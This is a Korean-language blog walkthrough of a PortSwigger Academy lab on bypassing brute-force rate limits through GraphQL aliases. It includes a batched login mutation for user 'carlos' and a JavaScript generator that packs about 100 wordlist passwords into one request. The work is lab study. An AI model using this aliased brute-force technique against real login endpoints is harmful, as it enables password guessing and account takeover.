포스트

GraphQL 실습(4) - Bypassing GraphQL brute force protections (PortSwigger Academy)

GraphQL alias를 이용해 rate limit을 우회하고 brute force 공격을 수행하는 과정

GraphQL 실습(4) - Bypassing GraphQL brute force protections (PortSwigger Academy)

Lab: Bypassing GraphQL brute force protections

Lab Link: Bypassing GraphQL brute force protections


핵심 포인트와 취약점 개념

이번 Lab은 GraphQL의 구조적 특징을 이용해
rate limit 기반 brute force 방어를 우회하는 문제다.

서버는 요청 수를 기준으로 로그인 시도를 제한하고 있었지만,
GraphQL alias를 통해 하나의 요청 안에 여러 login mutation을 포함할 수 있었기 때문에 이를 우회할 수 있다.

핵심 포인트는 다음과 같다.

  • GraphQL mutation 기반 로그인 구조
  • Rate limit (요청 수 제한) 존재
  • GraphQL alias를 이용한 요청 병합
  • 단일 요청으로 다수의 brute force 시도 가능

최종 목표는 carlos 계정으로 로그인하는 것이다.

Wordlist 준비

이번 실습에서는 PortSwigger Academy에서 제공하는 아래 password wordlist를 사용한다:

Password: https://portswigger.net/web-security/authentication/auth-lab-passwords


공격 흐름

1. 로그인 요청 분석

로그인 페이지에서 아무 값으로 로그인을 시도한 뒤 Burp HTTP history를 확인해보면,
요청이 일반적인 form 전송이 아니라 /graphql/v1 endpoint로 전달되는 GraphQL mutation 형태라는 것을 확인할 수 있다.

설명

로그인 요청 (GraphQL mutation)

해당 요청은 login mutation을 호출하며, 아래와 같은 input을 받아 처리한다.

1
2
3
4
5
6
{
    "input":{
        "username":$username,
        "password":$password
    }
}

로그인 요청의 응답에는 인증 토큰인 token과 로그인 성공 여부를 나타내는 success 값이 포함되어 있다.

설명

우리의 목표는 이 login mutation을 이용해 사용자 carlos의 비밀번호를 brute force로 찾아내는 것이다.

설명

일반적인 방식으로 로그인 요청을 반복하면, 일정 횟수 이후
You have made too many incorrect login attempts라는 에러 메시지를 반환한다.

즉, 서버는 짧은 시간 안에 반복되는 로그인 시도를 제한하고 있음을 알 수 있다.


2. GraphQL alias를 이용한 우회

이전 GraphQL 포스팅에 정리했던 것처럼, GraphQL의 alias 기능은 하나의 요청 안에 여러 operation을 포함할 수 있게 해준다.
따라서 서버가 요청 수만 기준으로 rate limit을 적용하고 요청 내부의 operation 수는 제한하지 않는다면 이를 우회할 수 있다.

즉, 여러 개의 login mutation을 하나의 HTTP request 안에 넣으면
서버 입장에서는 1번의 요청으로 처리되지만,
실제로는 여러 번의 로그인 시도가 발생한 것과 동일한 효과를 가지게 된다.

먼저 alias를 사용하기 위해 기존 요청의 query 구조를 수정해준다.

설명

기존에 variables에 분리되어 있던 파라미터를 query 내부에 직접 넣어준다.
요청의 표현 방식만 달라졌을 뿐, 동작 자체는 동일하다.

먼저 동작 확인을 위해 alias를 3개만 사용해서 테스트해보자.
각 alias에는 서로 다른 비밀번호를 넣고, login1부터 login3까지 나열한 뒤 요청을 전송한다.

설명

GraphQL alias를 사용한 요청

설명

요청에 대한 응답

성공적으로 세 번 요청이 들어간 것을 확인 할 수 있다.
응답을 보면 올바른 비밀번호에 해당하는 alias만 success: true를 반환하고,
나머지는 모두 false를 반환하는 것을 확인할 수 있다.

위 alias를 이용해서 사용자 carlos의 비밀번호를 찾아보자.


3. Alias를 이용한 brute force 구성

이제 기존 login mutation을 기반으로
여러 개의 요청을 하나로 묶는다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mutation login {
  login1: login(input:{username:"carlos", password:"123456"}) {
    success
    token
  }

  login2: login(input:{username:"carlos", password:"password"}) {
    success
    token
  }

  login3: login(input:{username:"carlos", password:"12345678"}) {
    success
    token
  }
  ...
}

이제 위 구조에 PortSwigger Academy의 password wordlist를 그대로 적용해준다.

wordlist에는 약 100개의 비밀번호가 포함되어 있기 때문에,
일일이 직접 작성하기보다는 간단한 스크립트로 alias 형태의 query를 자동 생성해 복사해 넣는 방식으로 진행해봤다.

1
2
3
4
5
6
7
8
9
10
let passwords = `
//여기에 패스워드 리스트 복사+붙여넣기
`
let passwordsArray = passwords.split("\n")

let passwordsArrayWithQuotes = passwordsArray.map((password, index)=> {
    return "login" + (index + 1) + ": login(input: { username: \"carlos\", password: \"" + password + "\" }) {\n token \n success \n } \n"
})

console.log(passwordsArrayWithQuotes.join("\n"))

간단히 설명하면,
wordlist를 줄바꿈 기준으로 나눈 뒤 각 비밀번호에 login1, login2 같은 alias를 붙여 GraphQL mutation 조각 형태로 변환해주는 코드다.

이렇게 생성된 문자열을 그대로 query에 붙여넣으면 여러 개의 login mutation을 한 번에 전송할 수 있다.

위 코드를 실행하면 약 100개의 비밀번호 후보를 포함한 GraphQL alias 형태의 mutation이 한 번에 생성된다.

설명

online javascript 컴파일러 실행 결과

설명

Query에 붙여넣은 모습

이 요청을 서버에 전송하면 약 100개의 로그인 시도에 대한 응답이 한 번에 반환된다.
이제 응답에서 success: true인 항목만 찾으면 된다.

설명

응답을 확인해보면 29번째 alias에서 "success": true가 반환된다.
즉, 해당 alias에 사용된 비밀번호가 carlos의 실제 비밀번호다.

설명

찾아낸 비밀번호로 carlos 계정에 로그인하면 lab이 완료된다.

설명

정리

이번 lab에서는 요청 수 기반 rate limit이 적용된 로그인 기능에서 GraphQL alias를 이용해 이를 우회하는 방법을 확인할 수 있었다.

서버는 HTTP 요청의 개수만 제한했을 뿐, 하나의 요청 안에 포함될 수 있는 login mutation의 개수는 고려하지 않았다.

그 결과 공격자는 단 한 번의 요청으로도 약 100개의 비밀번호를 시도할 수 있었고, carlos 계정에 대한 brute force 공격에 성공할 수 있었다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.